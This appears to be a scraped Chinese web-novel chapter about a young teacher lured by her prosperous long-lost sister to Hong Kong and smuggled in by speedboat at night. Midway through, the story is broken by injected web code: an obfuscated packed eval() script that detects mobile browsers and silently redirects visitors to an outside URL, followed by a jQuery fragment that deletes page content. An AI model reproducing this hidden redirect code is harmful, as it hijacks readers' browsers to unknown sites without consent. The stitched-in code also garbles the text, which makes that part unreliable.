改开没多久,厂里的广播喇叭在大院上空滋滋作响,无数的工人们懵懂的被名为自由市场的洪流裹挟着成为她们也不自知的时代潮流。
顺势而为还是逆流前行,有时根本说不清楚。
我的大姐小曼就是其中一位踏浪儿,她在三年前的一个深夜,只背着个布包、留下一句“去广东闯闯”后,家里就彻底断了她的音讯。
街坊邻居当面不说,背地里也会嚼舌根说她八成是学坏了,要不然就是被飞车党害死了。我妈流干了眼泪,我爸也彻底没了精神头,二老不想去看到那些掺杂的恶意的同情的眼神,每日只是枯坐着对着那张落满灰尘的全家福发呆。
我只是一个刚刚高考完的半大孩子,亦暗自决定要代替大姐承担起家里的责任。我没有选择去首都,而是在家里读了个师范。
就在大学临近毕业,每日虚心听老师们推心置腹讲的那些更适合我这种情况的工作包分配方向,我本以为这一生就这样了,虽然平淡,到底安稳。可谁也没想到,打破死寂的是村口传达室的一通越洋长途。
电话那头,电流声嘈杂得好像有人在拿砂纸磨擦另一边的话筒,可是那声音分明就是大姐的!
“真的是小曼吗?”传达室大妈有些狐疑,“小琥啊,你别听错了。”
怎么会听错呢?我有多么期盼大姐可以平安无事啊!这样我就不用——
大姐的声音带着些脱胎换骨般的凌厉:“小琥,这些年家里还好吗?原谅我一直不能和你们通讯,只因我也有难处啊...现在好了,日子终好起来了,我...我也在香港拼出头了!”
香港?这两个字是那样的陌生而怕人。
“这里满地都是金子,我只恨身边没个贴心人能帮我多捞一些,小琥啊,你知道吗?在外面闯荡,信任是最重要的,还有什么比家人更值得信任呢?”大姐说道,我在回家的路上止不住地咀嚼这些话,“来吧,小琥,我们姐俩一定能闯出一片天的。”
当我被这不知是惊喜还是惊吓的事情带回家时,妈爸都懵了。
对于我来说,香港是挂历上那些靡靡之音歌星的背影,还是录像厅里打打杀杀的江湖,对于妈爸来说,那里则是吃人的龙潭虎穴,是反|动的地方。
“不行,让你姐赶紧回家!”一向是慈母的母亲大发雷霆,生怕我也被那鬼地方给吃掉。在她看来,不论什么都比不过老老实实本本分分地待在家里。
“其实香港...”我到底还是没把话说完,因为母亲决定了的事情,谁也撼动不了。
很快,漫长的半个月过去,我也被选定将要成为市一中的物理教师,不过拟录取名单还没有公示,也许事情还会有改变。故而我没有和任何人说。
“大姨,您在家呢?有个您的包裹。”
清晨,我被邮局的那个小丫头给吵醒了,揉着眼睛走进院子里,只见母亲呆愣地坐在门口的大青石门槛上,出神地看着什么。
我存心想逗一下妈妈,好让这段时间家里压抑的气氛有所缓和,可是当我走到母亲身后也看到那手里的东西时,我也不免愣在原地。
这是一份厚重的特快专递,是从南边寄过来的。这真的是我这辈子见过最昂贵的包裹,长途跋涉都没有抹除上面那些高级的香膏味道,更别提里面的东西了:
——那是几沓绿莹莹的港币和厚厚一叠崭新的百元大钞!原来,钱的味道是这样的,原来,那不是什么来自香港的洋货,而是钞票的油墨味。
除此之外,还有几罐印着繁体字的燕窝和用精美铁盒装着的巧克力。为了给我上大学,母亲又不同意我勤工俭学,所以家里省吃俭用给我攒出来了四年的好吃好穿。我也只会去买管饱的吃食,好几次想尝尝上海的大白兔奶糖,都强忍了下来。
而眼下,这些巧克力的锡箔纸竟然在昏暗的堂屋里闪着妖异的光。我剥开一块巧克力,硬是塞进母亲和父亲的嘴里,她们说甜得发腻,我掰了一小块,却只觉得香甜得恰到好处。
这来自不知何人的礼物,在我们看到家书前就已经开始享用了,等到确定那书信上的字迹确实大姐的,我们一家才都发现我们早就默认这陌生而富裕的包裹就是来自大姐。
大姐以前的字迹要更柔和一些,现在笔画之间却变得锋利许多。信里写道,她在香港做的是“大买卖”,需要家里人去帮她看管财务。具体的我们也看不懂,只知道她写得详细又有些天花乱坠,我们又有点觉得不可思议却又觉得果真如此。
“你们家小曼找到了?”听到了消息而来的邻居们,在门外探头探脑,眼睛直勾勾地盯着我们桌上那还没来得及收起来的包裹,几张钞票露在外面。
父亲对此很局促,母亲则显得很镇定。她剥开一整颗巧克力塞进我嘴里,把剩下的都分给了那些邻居。我不是一个贪吃的人,可是感受着苦涩中带着浓郁甜香的味道,我竟对母亲生出一丝埋怨。
有好东西为什么要去给人家分享?
我被这自私的想法吓到了,可是我又不禁自我开解——这诱惑太大了。
大姐可以随随便便地就寄来这许多钱——我们这里万元户都难得一见——以后,想吃什么巧克力难道还能少吗?这当然还得是让我们自家来吃才对!
于是,在母亲的沉默和父亲的担忧中,我揣着崭新的介绍信和姐姐再次寄来的特地给我的路费,辞谢大学分配的工作,毅然踏上了南下的列车。
这是一段漫长的旅程,我胆战心惊地生怕被人劫财害命。但怀着“只要到深圳见到姐姐,立刻就能好起来”的期盼,我始终还是乐观的。
可是到了约定好的地方——一家昏暗的招待所,等着我的不是姐姐,而是一个瘦得像猴子一样的女人。
女人姓陈,不耐烦地应对我对她的怀疑,直接把姐姐的身份证和信件拿出来给我看,我便不再说什么了。
按照姐姐给的指示,我把剩下的盘缠全都给了陈小姐,她见我爽利,也大方的带我吃了顿云吞竹升面。她让我短暂地休息了几小时,说这是好心,紧接着就趁夜色紧赶慢赶带着我绕过密布的铁丝网和巡逻哨。
“到了那边,多看多听,少说话。”陈小姐压低声音说,“你姐在‘那边’有点名声,但香江的水,深着呢。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17296979|198577||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
我记得,那天晚上没有月亮。
我们——哦对了,还有一些别的人,她们有的是陈小姐的人,也有的跟着别的接头人一起的。我们这一帮人,老鼠一样趴在一艘破旧的快艇上,努力藏起自己的身影。
海浪像巨大的黑色绸缎,不断翻滚拍打。我从没有坐过船,忍不住抬头想看。
我什么都没看到,因为不远处五光十色的属于香港的海岸线把海上映照得更加迷黑。有海水溅到嘴里,咸涩得让人作呕。
陈小姐狠狠地瞪了我一眼,我赶忙趴好。我不怀疑假如我再有什么举动,她会直接把我扔进海里!
总算,那热闹的、让人安心的光模糊的、让人近乎沉醉的施舍了光晕到我们身上。
我已经不记得那一段是怎样东躲西藏、毫无尊严地混过港口警察的检查了,我完全被那光怪陆离的世界给看晕了。
相信我,那种震撼是足以摧毁一个一生都如黄牛般灰头土脸的内地青年二十年人生观的。
一个十分发达的国际大都会,那里也正面临着所属的迷茫,一切都处于为了忘记这些烦恼一般的狂欢。
我还没有从偷偷摸摸来到这里的对于自己身份的不确定中走出来,姐姐已经在一辆藏身于宅宅的街道里的黑色皇冠轿车放下车窗对着我招手。
天哪,那是大姐吗?她看着简直就像画报里的女郎一样。
我有些拘谨地坐在她的身边,一时不知如何开口。大姐摸摸我的头,只让我安心做自己。
我趴在车窗上,看着那些层层叠叠的霓虹招牌无数只发光的触角似的在湿漉漉的空气中挥舞。
“大押”“桑拿”…各种招牌闪烁着刺眼的红绿光芒,那些字我看得一知半解,这份无知让我兴奋;连半红半青的游魂般的行人的脸也无比新鲜。
再往中心区域走,高楼大厦像是一柄柄刺向苍天的利剑,遮蔽了本就被灯光照得发红的夜空。由于地狭人稠,这里的楼建得极密,仰头望去,只能看见一线紧窄的天。
我看不过来了,只好闭上眼睛,我听到叮叮车的碰撞声、商场里震耳欲聋的劲歌金曲、还有那种我也听不懂的、语速极快的粤语。最终,车子停在了尖沙咀的一栋写字楼前。
姐姐的公司就在其中一层,而姐姐就住在写字楼顶的高级公寓。
这就是我的大姐!我崇拜地看着身边的女人,不禁畅想起我的未来。
我也会这样烫着时髦的大浪卷——像姐姐的秘书一样剪超短发,然后抹上发胶做个背头也很好——再穿上黑色的西装,胸口装着名片和香烟...我将会成为这里的一员,俯瞰这里的一切。
姐姐的家里和她身上一样香,迷得我晕头转向。
菲佣和保姆客客气气地喊我“小姐”,我一开始觉得无所适从,习惯了以后我也能像姐姐一样坦然而克制地对她们说:“没事,你们先不用打扫这里,我在忙。”
一晃七天过去了,我觉得这里简直是天堂。但我大概有些穷病,这样的舒坦日子让我不安,我能为姐姐做些什么呢?要维持这梦一样的生活,想来不会是什么容易的事情。